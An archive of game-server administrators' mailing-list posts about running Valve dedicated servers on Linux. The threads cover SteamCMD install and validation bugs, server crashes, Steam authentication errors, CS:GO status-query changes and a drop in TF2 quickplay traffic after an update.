Re: [hlds_linux] [hlds] Source SDK Base 2013 Multiplayer beta release

2015-09-18 Thread Bjorn Wielens
Any news on this issue?


  From: John Schoenick <jo...@valvesoftware.com>
 To: Bjorn Wielens <uniac...@yahoo.ca>; Half-Life dedicated Win32 server 
mailing list <h...@list.valvesoftware.com>; "'hlcod...@list.valvesoftware.com'" 
<hlcod...@list.valvesoftware.com>; "hlds_linux@list.valvesoftware.com" 
<hlds_linux@list.valvesoftware.com> 
 Sent: Monday, September 14, 2015 12:57 PM
 Subject: RE: [hlds] Source SDK Base 2013 Multiplayer beta release
   
#yiv0090335185 P {margin-top:0;margin-bottom:0;}This is likely on our end, I'll 
take a look

- John



From: hlds-boun...@list.valvesoftware.com [hlds-boun...@list.valvesoftware.com] 
on behalf of Bjorn Wielens [uniac...@yahoo.ca]
Sent: Sunday, September 13, 2015 10:47 AM
To: Half-Life dedicated Win32 server mailing list; 
'hlcod...@list.valvesoftware.com'; hlds_linux@list.valvesoftware.com
Subject: Re: [hlds] Source SDK Base 2013 Multiplayer beta release

Is anyone else getting "your server needs to be restarted to receive the latest 
update" with the beta_test branch? I've run multiple validations and completely 
deleted the install directory but am still getting this. As a result any mods 
hosted aren't showing in the master server list either.


From: Eric Smith <er...@valvesoftware.com>
To: "'hlcod...@list.valvesoftware.com'" <hlcod...@list.valvesoftware.com>; 
"h...@list.valvesoftware.com" <h...@list.valvesoftware.com>; 
"hlds_linux@list.valvesoftware.com" <hlds_linux@list.valvesoftware.com>
Sent: Monday, September 7, 2015 10:39 PM
Subject: [hlds] Source SDK Base 2013 Multiplayer beta release

We've released a beta update for the Source SDK Base 2013 Multiplayer depot. 
The updated depots include several security fixes. The name for the beta branch 
is "beta_test". If you're running a game that depends on the Source SDK Base 
2013 Multiplayer tool, please give the beta a try and report any problems. You 
can email me directly with any problems you find.

    * Clients can opt-in to the beta using the Betas tab of the Properties 
dialog for the Source SDK Base 2013 Multiplayer tool (select "beta_test" in the 
dropdown menu)

    * Dedicated servers can find information about how to use a beta here:
    https://developer.valvesoftware.com/wiki/SteamCMD

We're also working on updates for Counter-Strike: Source, Day of Defeat: 
Source, and Half-Life 2: Deathmatch. We'll have more information about those 
soon.

Thanks.

-Eric


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Re: [hlds_linux] [hlds] Source SDK Base 2013 Multiplayer beta release

2015-09-13 Thread Bjorn Wielens
Is anyone else getting "your server needs to be restarted to receive the latest 
update" with the beta_test branch? I've run multiple validations and completely 
deleted the install directory but am still getting this. As a result any mods 
hosted aren't showing in the master server list either.


  From: Eric Smith 
 To: "'hlcod...@list.valvesoftware.com'" ; 
"h...@list.valvesoftware.com" ; 
"hlds_linux@list.valvesoftware.com"  
 Sent: Monday, September 7, 2015 10:39 PM
 Subject: [hlds] Source SDK Base 2013 Multiplayer beta release
   
We've released a beta update for the Source SDK Base 2013 Multiplayer depot. 
The updated depots include several security fixes. The name for the beta branch 
is "beta_test". If you're running a game that depends on the Source SDK Base 
2013 Multiplayer tool, please give the beta a try and report any problems. You 
can email me directly with any problems you find.

    * Clients can opt-in to the beta using the Betas tab of the Properties 
dialog for the Source SDK Base 2013 Multiplayer tool (select "beta_test" in the 
dropdown menu)

    * Dedicated servers can find information about how to use a beta here:
    https://developer.valvesoftware.com/wiki/SteamCMD

We're also working on updates for Counter-Strike: Source, Day of Defeat: 
Source, and Half-Life 2: Deathmatch. We'll have more information about those 
soon.

Thanks.

-Eric


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Re: [hlds_linux] Ok, I am totally drawing a blank here, on a HLDS install for HL1

2015-01-16 Thread Bjorn Wielens
After a half dozen attempts, I got a complete file set. AFAIK it's been 
this way for a while, idk why Valve doesn't fix it.
Well, the linux DS files for SDK 2006 have also vanished a while back, they 
know about this, and have no ETA on a fix - so don't hold your breath. At least 
you can still host hlds linux servers... whereas the above results in breaking 
just about every hl2 MP mod on linux.

  From: Ook ooksser...@zootal.com
 To: Half-Life dedicated Linux server mailing list 
hlds_linux@list.valvesoftware.com 
 Sent: Friday, January 16, 2015 11:23 AM
 Subject: Re: [hlds_linux] Ok, I am totally drawing a blank here, on a HLDS 
install for HL1
   
Did you get this to work? The last time I did this I had to run it a 
half dozen times to get it to install all of the files. It seems as if 
it frequently fails to obtain the *complete* list of files it needs, and 
downloads an incomplete list. And if you --validate, it removes files 
that should be there because it thinks they should not be.

After a half dozen attempts, I got a complete file set. AFAIK it's been 
this way for a while, idk why Valve doesn't fix it.


On 01/13/2015 12:29 PM, Weasels Lair wrote:
 Ok, this is weird. When I run the app_update 90 validate the valve/gfx.wad
 file (along with tons of other files) is being deleted!

 I confirmed this by doing an installation, verifying that the file is
 there. I zip-up the entire installation folder for later reference (so I
 know that I am not going crazy). Then I run the app_update 90 validate,
 giving the message noted above (Success! App '90' fully installed), then I
 check the folders again, and valve/gfx.wad is gone!

 Which, explains why when I try to actually run the game it complains about
 valve/gfx.wad being missing.

 Needless to say, removing the validate option from my procedures for
 now.  I guess validate means invalidate for now.

 On Sun, Jan 11, 2015 at 10:19 PM, Weasels Lair wea...@weaselslair.com
 wrote:

 Forgive my (renewed) ignorance, I have not had reason to install a new
 HLDS instance in like ... a year probably.  Obviously, I must be missing
 something basic here.  Maybe something changed that I am just not
 remembering.

 I am just trying to install HLDS to run an HL1 Deathmatch server - not a
 mod (TFC, etc.).

 The installation command I am using (which has worked before, but maybe a
 long time ago) is:

 ~/steamcmd/steamcmd.sh +login someloginname +force_install_dir
 /home/someusername/somefolder +app_update 90 validate +quit;

 It APPEARED to install (i.e. said App '90' fully installed.).  However,
 when I try to actually RUN what's installed, I get this error:

 FATAL ERROR (shutting down): W_LoadWadFile: couldn't load gfx.wad

 If I run the installation again (to validate), I get this warning about
 other AppID's?

 Redirecting stderr to '/home/someusername/Steam/logs/stderr.txt'
 [  0%] Checking for available updates...
 [] Verifying installation...
 Steam Console Client (c) Valve Corporation
 -- type 'quit' to exit --
 Loading Steam API...OK.

 Logging in user 'someloginname' to Steam Public...
 Using cached credentials. . .
 Logged in OK
 Waiting for license info...OK
 /home/buildbot/buildslave/steam_rel_client_linux/build/src/clientdll/clientjobupdatedepots.cpp
 (112) : Assertion Failed: CAppUpdateDepotsJob::InitPrimaryApp: 90 missing
 required app 70
 /home/buildbot/buildslave/steam_rel_client_linux/build/src/clientdll/clientjobupdatedepots.cpp
 (112) : Assertion Failed: CAppUpdateDepotsJob::InitPrimaryApp: 90 missing
 required app 10
  Update state (0x5) validating, progress: 20.80 (8797216 / 42294745)
 Success! App '90' fully installed.



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[hlds_linux] FoF segfault on startup?

2015-01-02 Thread Bjorn Wielens
Anyone experiencing segfaults on startup with FoF?
CentOS 7, happens on freshly validated install with no addons folder too. GDB 
offers no insight where the crash is happening, not even a backtrace. Debug.log 
is empty, servers were running fine until about 4AM this morning. 
Using breakpad minidump systemUsing breakpad crash handlerSetting breakpad 
minidump AppID = 265630Forcing breakpad minidump interfaces to loadMissing 
separate debuginfo for 
/home/contentServer/Masters/steamcmd/linux32/steamclient.soTry: yum 
--enablerepo='*debug*' install 
/usr/lib/debug/.build-id/cf/28cf8982a31985307cdf23a1339a8ab45d059b.debugLooking 
up breakpad interfaces from steamclientCalling 
BreakpadMiniDumpSystemInitMissing separate debuginfo for 
/home/contentServer/Masters/steamcmd/linux32/crashhandler.soTry: yum 
--enablerepo='*debug*' install 
/usr/lib/debug/.build-id/ce/f34da77a1300c26168c81ccc4b758065ea3274.debugLoaded 
296 VPK file hashes from 
/home/gamecreate/orange-box-mods/fistful_of_frags/fof/fof.vpk for pure server 
operation.Loaded 296 VPK file hashes from 
/home/gamecreate/orange-box-mods/fistful_of_frags/fof/fof.vpk for pure server 
operation.Loaded 438 VPK file hashes from 
/home/gamecreate/orange-box-mods/fistful_of_frags/hl2/hl2_misc.vpk for pure 
server operation.Loaded 1222 VPK file hashes from 
/home/gamecreate/orange-box-mods/fistful_of_frags/hl2/hl2_textures.vpk for pure 
server operation.Loaded 5 VPK file hashes from 
/home/gamecreate/orange-box-mods/fistful_of_frags/platform/platform_misc.vpk 
for pure server operation.
Program received signal SIGSEGV, Segmentation fault.0x in ?? ()

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Re: [hlds_linux] The Ship hangs after map load

2014-07-22 Thread Bjorn Wielens
I worked with someone to try getting a server up and running a while back. The 
vphysics errors seem to be dependent on your filesystem; I recall they did 
something to re-mount the folder as a case-insensitive FS and that fixed the 
model error spam. No luck with the hangs though, we spent quite a bit of time 
on it without success. 






 From: ics i...@ics-base.net
To: Half-Life dedicated Linux server mailing list 
hlds_linux@list.valvesoftware.com 
Sent: Tuesday, July 22, 2014 2:41:27 PM
Subject: Re: [hlds_linux] The Ship hangs after map load
 

The company that made the game, Outerlight ltd doesn't exist anymore. 
The company that took over after years, Blazing Griffin supposedly had 
plans for it but as i recall, it was easier to remake the game than fix 
it or something like that. Even that post has been taken down so i 
cannot tell you more but have a look at 
http://steamcommunity.com/app/2400/discussions/0/792924411993377513 and 
follow up to their website, ask them?

-ics

epicoder kirjoitti:
 I'm trying to set up a dedicated server running The Ship on a Debian
 Jessie box. The server appears to start up normally until it loads a
 map, at which point it spews out a ridiculous amount of vphysics errors
 and then hangs. It does this with all maps, but the one I used in the
 log to follow is cotopaxi.

 http://pastebin.com/VXvM1XNL

 After it hangs, it ignores all console input (nothing is even echoed
 back to the terminal) and uses about 2.5% CPU constantly, according to top.

 The missing steam binary message is a separate issue which I haven't
 bothered to fix yet. I don't think it has any effect on this problem,
 but I'll fix it and see what happens.

 The server is a fairly modest computer running Debian Jessie 64-bit with
 4 GB of RAM and a mid range core 2 duo @ 2.4 GHz. Not exactly CSGO 128
 tick material, but it runs a 24-slot TF2 server just fine, so I don't
 think that hardware is the issue.

 Any help or ideas would be appreciated.

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[hlds_linux] Older Srcds games still using steamclient_i486.so/Steam validation Rejected

2014-06-20 Thread Bjorn Wielens
Does anyone have experience with this issue on older (unmaintained) srcds games?

Specifically, I'm talking about a dedicated The Ship server; it will launch 
(after updating some binaries to reflect new valve IP addresses) but players 
cannot connect and are presented with Steam validation rejected. I've 
attempted the steam_appid.txt fix in both the same folder as srcds_run and the 
ship subfolder. No luck with either 2400 or 2403 as the entry.


Server side there is an error message (can't remember the exact text, will 
obtain/reply with it later today) with code 25. All google can tell me is that 
such messages are common when a player with a less than legit copy of the game 
tries to connect... however I'm using the official steamcmd server download 
(2403) and proper client. 

Near as I can discern is that since the game was released a few things have 
changed in how steam handles user authentication. Sources tell me that files 
such as steam_api and steamclient.so are backwards compatible so I attempted to 
utilize them from a more recent srcds game... at which point the server quits 
on launch with failed to load authentication libary. Presumably this is the 
libsteamvalidateusertickets_i486.so which doesn't seem to have a modern 
counterpart (e.g steamclient_i486.so has libsteam.so, tier0_s_i486 has 
libtier0_s and so on). 



Any suggestions? Alternately, is anyone aware of a still-functional srcds-based 
game which uses the _i486 variants of these libraries I could potentially try 
to shoehorn in? I recall a similar problem happened with the Hidden:source mod 
when something updated in the SDK but not the mod itself.


I know it should be possible to get working, as there are some servers out 
there with players, but it could be a fruitless endeavor as some of them seem 
to be tied to communities of dubious nature...
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Re: [hlds_linux] [hlds] Mandatory TF2 update released

2014-06-20 Thread Bjorn Wielens
Silly question perhaps, but you're not running steamcmd updates while the 
server is still running from the same set of files, are you? I've seen that 
cause some _very_ weird (similar) problems on Linux systems b/c of how files 
are handled - some files get overwritten, others that are still in use do not. 
If you have autoupdate on reboot enabled it would validate and fix those files. 




 From: Ross Bemrose rbemr...@gmail.com
To: Bjorn Wielens uniac...@yahoo.ca; Half-Life dedicated Win32 server mailing 
list h...@list.valvesoftware.com 
Sent: Friday, June 20, 2014 10:46:31 PM
Subject: Re: [hlds] [hlds_linux] Mandatory TF2 update released
 


Weird thing is, it started working fine after the server crashed and 
auto-restarted.

On 6/20/2014 8:58 PM, Bjorn Wielens wrote:




working fine on ours. 




 From: Ross Bemrose rbemr...@gmail.com
To: Half-Life dedicated Linux server mailing list 
hlds_linux@list.valvesoftware.com; Half-Life dedicated Win32 server mailing 
list (h...@list.valvesoftware.com) h...@list.valvesoftware.com 
Sent: Friday, June 20, 2014 8:54:56 PM
Subject: Re: [hlds] [hlds_linux] Mandatory TF2 update released
 

Kill icons and hitsounds don't appear to be working on the
  servers I'm 
on.  Is anyone else seeing this?

On 6/20/2014 7:28 PM, Eric Smith wrote:
 We've released a mandatory update for TF2. The notes
  for the update are below. The new version number is
  2292213.

 -Eric

 -

 - Fixed a client crash related to the B.A.S.E. Jumper
 - Updated the prioritization method used when
  choosing which partner taunt to join such that players
  under the crosshair will have the highest priority.
 - Fixed The Classic scope not being drawn correctly
  in DirectX 8
 - Fixed the Tide Turner and Chargin' Targe doing
  impact damage at any range
 - Fixed the Tide Turner refilling the Charge meter on
  any decapitation
 - Updated the B.A.S.E. Jumper to prevent buying
  unusable upgrades in Mann vs. Machine
 - Fixed Lugermorph animations


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Re: [hlds_linux] [hlds] Need more dedicated server for Fistful-of-Frags (FoF)!

2014-06-04 Thread Bjorn Wielens
Wouldn't  HLDS_ANNOUNCE be better suited and/or specifically meant for that 
sort of thing? 




 From: Ross Bemrose rbemr...@gmail.com
To: Half-Life dedicated Linux server mailing list 
hlds_linux@list.valvesoftware.com; Half-Life dedicated Win32 server mailing 
list h...@list.valvesoftware.com 
Sent: Tuesday, June 3, 2014 8:10:02 PM
Subject: Re: [hlds] [hlds_linux] Need more dedicated server for 
Fistful-of-Frags (FoF)!
 

So, are you saying third-party mods shouldn't be announcing their 
hlds/srcds updates on the hlds/srcds mailing lists?

On 6/3/2014 7:04 PM, Weasels Lair wrote:
 I am not sure this list is the right place for 3rd-party games/mods to be
 announcing their updates?  Kind of thought it was more for Valve-related
 and general HLDS/SRCDS.

 There is a published SteamAPI update URL for Fistful-of-Frags:

 http://api.steampowered.com/ISteamApps/UpToDateCheck/v1?appid=265630version=SERVER_CURRENT_VERSION_HEREformat=xml

 Also, it may be checked on the SteamDB page:

 http://steamdb.info/search/?a=appq=Fistful

 Or, of course you could sign-up for e-mail alerts on SteamPing:

 http://steamping.com/


 On Tue, Jun 3, 2014 at 1:17 PM, big john brewskii...@gmail.com wrote:

 Can we get some sort of update notification on the mailing list?


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Re: [hlds_linux] Could not establish connection to Steam servers. (Result = 15)

2014-05-14 Thread Bjorn Wielens
What is the correct appID to use with the registration API? I only receive 
empty responses when using 295230.





 From: Jesse Molina je...@opendreams.net
To: Half-Life dedicated Linux server mailing list 
hlds_linux@list.valvesoftware.com; Half-Life dedicated Win32 server mailing 
list h...@list.valvesoftware.com 
Sent: Wednesday, May 14, 2014 12:19:27 AM
Subject: Re: [hlds_linux] Could not establish connection to Steam servers.  
(Result = 15)
 


Nevermind. My sv_setsteamaccount token was invalid, though I don't yet 
know why.




On 5/13/14, 17:36, Jesse Molina wrote:

 Hi all

 I set up a new Fistful of Frags server yesterday and it is generally 
 working, but it isn't listing in the server directory, and I am 
 getting the following error message after startup:

 Could not establish connection to Steam servers.  (Result = 15)
 Could not establish connection to Steam servers.  (Result = 15)

 Does anyone know what error code 15 is?

 My situation is slightly peculiar in that my host has multiple IPs and 
 I load many srcds servers onto a single IP across many different 
 ports. I also have a complicated firewall setup which could be the 
 cause. However, I have multiple other TF2, CSGO, CSS, HL2DM and L4D2 
 servers on this host which don't have any similar problem.

 I need to do a tcpdump and see if FoF is trying to do something 
 naughty, like binding to the wrong IP for some ephemeral connection.



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[hlds_linux] CSGO status output format change?

2014-03-14 Thread Bjorn Wielens
Has the output formatting of the 'status' command changed in the most recent 
build or two? I think it started happening with the second most recent patch. 

All of my status tools (Sourcebans, HLStatsX:CE, LGSL, and our management 
panel) have started reporting #/26 players (should be /24 since it has 2 hidden 
slots) with the only actual player entry being 'Max Players', suggesting that 
parsing of the response is failing.

Running on CentOS6 64 bit. 
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Re: [hlds_linux] CSGO status output format change?

2014-03-14 Thread Bjorn Wielens
Thanks Asher, the A2S_Players made it easy to find.

From https://developer.valvesoftware.com/wiki/Server_queries:
CS:GO Server by default returns only max players and server uptime. You have 
to change server cvar host_players_show in server.cfg to value 2 if 
you want to revert to old format with players list.






 From: Asher Baker asher...@gmail.com
To: Bjorn Wielens uniac...@yahoo.ca; Half-Life dedicated Linux server mailing 
list hlds_linux@list.valvesoftware.com 
Sent: Friday, March 14, 2014 8:23:45 PM
Subject: Re: [hlds_linux] CSGO status output format change?
 


Those tools use A2S_PLAYERS not the status command, which has indeed been 
gimped to only show a Max Players entry by default (our current leading 
theory is that someone delivered a case of free drugs to the CS:GO team, 
considering the rest of the query protocol changes that happened).

There is a convar to fix it, but I don't know it off the top of my head, I'm 
sure someone will reply with it soon, or you can look at the recent update 
notes.

~
Their heads are green, and their hands are blue,
      And they went to sea in a Sieve. - Edward Lear


On Fri, Mar 14, 2014 at 10:36 PM, Bjorn Wielens uniac...@yahoo.ca wrote:

Has the output formatting of the 'status' command changed in the most recent 
build or two? I think it started happening with the second most recent patch.

All of my status tools (Sourcebans, HLStatsX:CE, LGSL, and our management 
panel) have started reporting #/26 players (should be /24 since it has 2 
hidden slots) with the only actual player entry being 'Max Players', 
suggesting that parsing of the response is failing.

Running on CentOS6 64 bit.
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Re: [hlds_linux] Prevent game servers from redirecting players to

2014-01-24 Thread Bjorn Wielens
Have  we already forgotten the quickplay shenanigans from valve during the most 
recent Halloween event? This is just more of the same. They've already made 
their stance abundantly clear to communities.

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Re: [hlds_linux] Is sv_tags event247 broken after the update?

2013-11-06 Thread Bjorn Wielens
seven HUNDRED valve servers? I'm sorry, but I'm with those kinds of numbers I'm 
going to re-raise my earlier point about valve actively skimming the bulk of 
the quickplay traffic for themselves and leaving barely anything for 
communities.





On Wed, 11/6/13, Kyle Sanderson kyle.l...@gmail.com wrote:

 Subject: Re: [hlds_linux] Is sv_tags event247 broken after the update?
 To: Half-Life dedicated Linux server mailing list 
hlds_linux@list.valvesoftware.com
 Received: Wednesday, November 6, 2013, 7:48 PM
 
 Using my experimental horrible,
 horrible app. There are 2243 (responsive)
 servers at the moment running HellTower. From those 2243
 servers, 1414 of
 them are community servers. From the remaining 829, 705 of
 those are Valve
 servers exclusively running Hell Tower. The remaining 124
 Valve servers
 that are running the mixture of the four, which just so
 happen to be on
 HellTower at the moment.
 
 Hopefully this helps,
 Kyle.
 
 
 On Wed, Nov 6, 2013 at 2:14 PM, Rudy Bleeker rblee...@gmail.com
 wrote:
 
  Saturation of servers, in other words: too many
 servers, too few
  players too fill them up.
 
  On Wed, Nov 6, 2013 at 9:45 PM, louloubizou louloubi...@gmail.com
 wrote:
   Saturation?
  
   2013/11/6 Mart-Jan Reeuwijk mreeu...@yahoo.com
  
  
   There where 20+ on each server, nobody got any
 for over an hour, so that
   emptied them.
  
  
  
  
  
   
From: ics i...@ics-base.net
   To: Half-Life dedicated Linux server
 mailing list 
   hlds_linux@list.valvesoftware.com
   Sent: Wednesday, 6 November 2013, 7:15
    Subject: Re: [hlds_linux] Is sv_tags
 event247 broken after the
  update?
   
   
   I think it requires 12 or so players. It
 was 8 at the time of the manor
   event but it was raised at some point due
 to abuse.
   
   -ics
   
   Kyle Sanderson kirjoitti:
I believe you need at least 8 players
 for drops to work, or so was
  the
   case
many years ago. I was on one server a
 couple nights ago, two drops
   happened
one after another. Then there was
 nothing for about a half hour; I'm
  not
sure what happened after that.
   
Thanks,
Kyle.
   
   
On Tue, Nov 5, 2013 at 5:22 PM,
 Mart-Jan Reeuwijk 
  mreeu...@yahoo.com
   wrote:
   
hmm, saw more complaints of no
 gifts dropping anymore. Ppl asking
  if it
was regged or not, or w/e the
 problem was on Valve end.
   
Might be ppl don't go for event
 server if they don't get the
  personal
gifts.
   
   
   
   
 
From: Calvin Judy evo...@gmail.com
To: Half-Life dedicated Linux
 server mailing list 
hlds_linux@list.valvesoftware.com
Sent: Tuesday, 5 November
 2013, 23:04
Subject: Re: [hlds_linux] Is
 sv_tags event247 broken after the
   update?
   
   
Saturation.
   
   
- Original Message -
From: louloubizou louloubi...@gmail.com
To: Half-Life dedicated
 Linux server mailing list
hlds_linux@list.valvesoftware.com
Sent: Tuesday, November 05,
 2013 4:17 PM
Subject: Re: [hlds_linux] Is
 sv_tags event247 broken after the
   update?
   
   
i get no more traffic
 since 2 days
   
what is happening ?
   
2013/11/3 cladiron cladi...@gmail.com
   
Calvin, did you read
 2 post above yours ?
Does the message
 below mean that i'm automatically removed even
  tho
   its
setup to be in the
 match making ?
   
*Sending
 CMsgGameServerMatchmakingStatus
   
 (state=ServerMatchmakingState_NOT_PARTICIPATING)*
   
   
On Sat, Nov 2, 2013
 at 12:52 AM, Calvin Judy evo...@gmail.com
   wrote:
   
Influx of servers
 = decrease in players per server.
   
The tags aren't
 broken.
   
   
- Original
 Message - From: cladiron 
  cladi...@gmail.com
To: Half-Life
 dedicated Linux server mailing list
   hlds_linux@list.
   
 valvesoftware.com
Sent: Friday,
 November 01, 2013 10:52 PM
   
Subject: Re:
 [hlds_linux] Is sv_tags event247 broken after the
update?
   
   
  
    We had a full
 server with matchmaking until that first update
   after
the
Halloween.
It's been
 like this ever since, and haven't seen the first
  player.
   
   
   
On Fri, Nov
 1, 2013 at 10:44 PM, cladiron cladi...@gmail.com
wrote:
  
    I think
 it's still broke. both tags.
I have
 tried it both ways and get the same message that i'm
  not
   
 participating.
I also
 notice that is says next map is dustbowl, even tho i
   edited
the
files for
 plr_hightower_event, and restarted the server.
   
Sending
 CMsgGameServerMatchmakingStatus
   
 (state=ServerMatchmakingState_NOT_PARTICIPATING)
L
 11/01/2013 - 21:14:07: server_cvar: sm_nextmap
  cp_dustbowl
   
 Connection to Steam servers successful.
Assigned
 anonymous gameserver Steam ID [A-1:776458241(3743)].
   
VAC
 secure mode is activated.
   
 Connection to game coordinator established.
Current
 item 

Re: [hlds_linux] Is sv_tags event247 broken after the update?

2013-10-31 Thread Bjorn Wielens

Echoing this problem as well, had 18 full event servers before the update, and 
the traffic died after the update (I even waited until the playercounts started 
to tank before issuing the update so as not to upset people already in-game 
before it went out). They are still at 0/24 while yesterday they were filling 
as fast as I could create them despite being ~6 hours earlier in the day.







 From: Calvin Judy evo...@gmail.com
To: Half-Life dedicated Linux server mailing list 
hlds_linux@list.valvesoftware.com 
Sent: Thursday, October 31, 2013 2:08:05 PM
Subject: Re: [hlds_linux] Is sv_tags event247 broken after the update?
 

None of my servers are running any sort of bots, and they all dropped 
quickplay traffic completely last night.

Can you double check to verify this update didn't create an additional 
issue, as it sure does look like something is wrong.

~6000 players in 24h to 0 in 12h, doesn't really make any sense.


- Original Message - 
From: Fletcher Dunn fletch...@valvesoftware.com
To: Half-Life dedicated Linux server mailing list 
hlds_linux@list.valvesoftware.com
Cc: h...@list.valvesoftware.com
Sent: Thursday, October 31, 2013 12:32 PM
Subject: Re: [hlds_linux] Is sv_tags event247 broken after the update?


 We recently fixed a bug that has been giving servers running bots an 
 unfair and unintended quickplay scoring advantage.  This could change 
 traffic patterns.

 -Original Message-
 From: hlds_linux-boun...@list.valvesoftware.com 
 [mailto:hlds_linux-boun...@list.valvesoftware.com] On Behalf Of Marco 
 Padovan
 Sent: Thursday, October 31, 2013 8:52 AM
 To: Half-Life dedicated Linux server mailing list
 Subject: Re: [hlds_linux] Is sv_tags event247 broken after the update?

 Same here... seeing the same issue on 12servers all where full 
 yesterday :)


 On Thu, Oct 31, 2013 at 4:43 PM, Padraig Fahy 
 padraig.f...@gmail.comwrote:

 Server was full last night before update..but no one has been on since
 the update.

 Thankfully I am not the only one with this issue!


 On Thu, Oct 31, 2013 at 3:41 PM, thesupremecommander 
 thesupremec...@gmail.com wrote:

  Seeing problems on my end as well. A server holding at 24/24
  constant before the update has seen all of its traffic vanish even
  with a few players to seed QuickPlay traffic.
 
 
  On Thu, Oct 31, 2013 at 11:36 AM, Calvin Judy evo...@gmail.com wrote:
 
   VAC secure mode is activated.
   Connection to game coordinator established.
   Current item schema is up-to-date with version 553324E3.
   Received auth challenge; signing into gameserver account...
   L 10/31/2013 - 06:01:08: Received auth challenge; signing into
 gameserver
   account...
   L 10/31/2013 - 06:01:08: Loading map plr_hightower_event
   Game server authentication: SUCCESS! Standing: Good. Trend: Upward
   Fast L 10/31/2013 - 06:01:08: Game server authentication: SUCCESS! 
   Standing:
   Good. Trend: Upward Fast
  
  
   I'm not seeing any bad ratings on mine, but quickplay traffic just
   vanished.
  
  
   - Original Message - From: Lambda
   lambdace...@gmail.com
   To: Half-Life dedicated Linux server mailing list hlds_linux@list.
 **
   valvesoftware.com hlds_linux@list.valvesoftware.com
   Sent: Thursday, October 31, 2013 11:29 AM
   Subject: Re: [hlds_linux] Is sv_tags event247 broken after the
 update?
  
  
  
    Same here, i checked the quickplay status and it went from Good
   to
  Bad
   out of a sudden, funny thing is that the client command to list
   the identities and the status says that they're all good but upon
   server launch it says that its Bad
  
  
   2013/10/31 Calvin Judy evo...@gmail.com
  
    http://i.imgur.com/bejbG1m.png
  
   There has been a significant drop in quickplay traffic on our
   servers
  as
   well.
  
  
   - Original Message - From: Todd Pettit 
  pettit.t...@gmail.com
  
   To: Half-Life dedicated Linux server mailing list 
   hlds_linux@list.
  **
   valvesoftware.com hlds_linux@list.**valvesoftware.com
  hlds_linux@list.valvesoftware.com
   
   Sent: Thursday, October 31, 2013 11:13 AM
   Subject: [hlds_linux] Is sv_tags event247 broken after the 
   update?
  
  
  
    I noticed Halloween servers running plr_hightower_event are no
 longer
  
   receiving quickplay traffic after the last update.
   Is anyone else having the same issue? Normal servers seem
 unaffected.
  
   ___
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 archives,
   please visit:
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   please visit:
   

Re: [hlds_linux] Is sv_tags event247 broken after the update?

2013-10-31 Thread Bjorn Wielens
If the existence of the valve servers is the sole cause of the massive decrease 
in traffic to communities... It poses a rather large issue for those 
communities. 
It means that the sheer number of valve's quickplay-eligible servers is 
outshadowing _many_ communities (as judging by the messages in this thread), 
and the server market is being over-saturated to the point where communities 
basically have a hard time getting a foothold unless there is an established 
playerbase
that is large enough to sustain the server with very little traffic influx. 

Ultimately, it means communities likely won't bother with event servers as a 
result of no traffic anyway... and this will rebound very rapidly in the 
opposite direction. 
I thought the entire goal of quickplay was to help get traffic _to_ communities 
and help players discover them (for those that keep their servers within a set 
of parameters)... not keep all the traffic for Valve servers. 

I realize this sounds pretty scathing , but it is something I think we (as 
community server operators) need to be seriously aware of - for the day that no 
more communities exist to keep the hat market up, will be the day TF2 truly 
dies :D




 From: Fletcher Dunn fletch...@valvesoftware.com
To: Half-Life dedicated Linux server mailing list 
hlds_linux@list.valvesoftware.com 
Cc: Half-Life dedicated Win32 server mailing list 
(h...@list.valvesoftware.com) h...@list.valvesoftware.com 
Sent: Thursday, October 31, 2013 2:30:23 PM
Subject: Re: [hlds_linux] Is sv_tags event247 broken after the update?
 

There were no Valve event servers running until last night. 

-Original Message-
From: hlds_linux-boun...@list.valvesoftware.com 
[mailto:hlds_linux-boun...@list.valvesoftware.com] On Behalf Of Daniel Barreiro
Sent: Thursday, October 31, 2013 10:13 AM
To: Half-Life dedicated Linux server mailing list
Subject: Re: [hlds_linux] Is sv_tags event247 broken after the update?

Never run any bots, all of my servers were full yesterday and are completely 
dead last night until now.
Only change was the update.
One of the servers wasn't registered until this event (converted it from a 
custom server temporarily just to get a 24/7 helltower server for the week), so 
it was a brand new ID.


On Thu, Oct 31, 2013 at 1:08 PM, Calvin Judy evo...@gmail.com wrote:

 None of my servers are running any sort of bots, and they all dropped 
 quickplay traffic completely last night.

 Can you double check to verify this update didn't create an additional 
 issue, as it sure does look like something is wrong.

 ~6000 players in 24h to 0 in 12h, doesn't really make any sense.


 - Original Message - From: Fletcher Dunn  
 fletch...@valvesoftware.com
 To: Half-Life dedicated Linux server mailing list 
 hlds_linux@list.** valvesoftware.com 
 hlds_linux@list.valvesoftware.com
 Cc: h...@list.valvesoftware.com
 Sent: Thursday, October 31, 2013 12:32 PM

 Subject: Re: [hlds_linux] Is sv_tags event247 broken after the update?


  We recently fixed a bug that has been giving servers running bots an
 unfair and unintended quickplay scoring advantage.  This could change 
 traffic patterns.

 -Original Message-
 From: 
 hlds_linux-bounces@list.**valvesoftware.comhlds_linux-boun...@list.valvesoftware.com[mailto:
 hlds_linux-bounces@**list.valvesoftware.comhlds_linux-bounces@list.v
 alvesoftware.com]
 On Behalf Of Marco Padovan
 Sent: Thursday, October 31, 2013 8:52 AM
 To: Half-Life dedicated Linux server mailing list
 Subject: Re: [hlds_linux] Is sv_tags event247 broken after the update?

 Same here... seeing the same issue on 12servers all where full 
 yesterday :)


 On Thu, Oct 31, 2013 at 4:43 PM, Padraig Fahy padraig.f...@gmail.com
 wrote:

  Server was full last night before update..but no one has been on 
 since
 the update.

 Thankfully I am not the only one with this issue!


 On Thu, Oct 31, 2013 at 3:41 PM, thesupremecommander  
 thesupremec...@gmail.com wrote:

  Seeing problems on my end as well. A server holding at 24/24 
  constant before the update has seen all of its traffic vanish even 
  with a few players to seed QuickPlay traffic.
 
 
  On Thu, Oct 31, 2013 at 11:36 AM, Calvin Judy evo...@gmail.com
 wrote:
 
   VAC secure mode is activated.
   Connection to game coordinator established.
   Current item schema is up-to-date with version 553324E3.
   Received auth challenge; signing into gameserver account...
   L 10/31/2013 - 06:01:08: Received auth challenge; signing into
 gameserver
   account...
   L 10/31/2013 - 06:01:08: Loading map plr_hightower_event
   Game server authentication: SUCCESS! Standing: Good. Trend: 
   Upward Fast L 10/31/2013 - 06:01:08: Game server authentication: 
   SUCCESS! 
  Standing:
   Good. Trend: Upward Fast
  
  
   I'm not seeing any bad ratings on mine, but quickplay traffic 
   just vanished.
  
  
   - Original Message - From: Lambda
   lambdace...@gmail.com
   To: Half-Life 

Re: [hlds_linux] Is sv_tags event247 broken after the update?

2013-10-31 Thread Bjorn Wielens
If I may, the only reason we had 18 servers up was the demand. I was initially 
planning to stop at 2 and maybe one with a cycle of all halloween maps. 
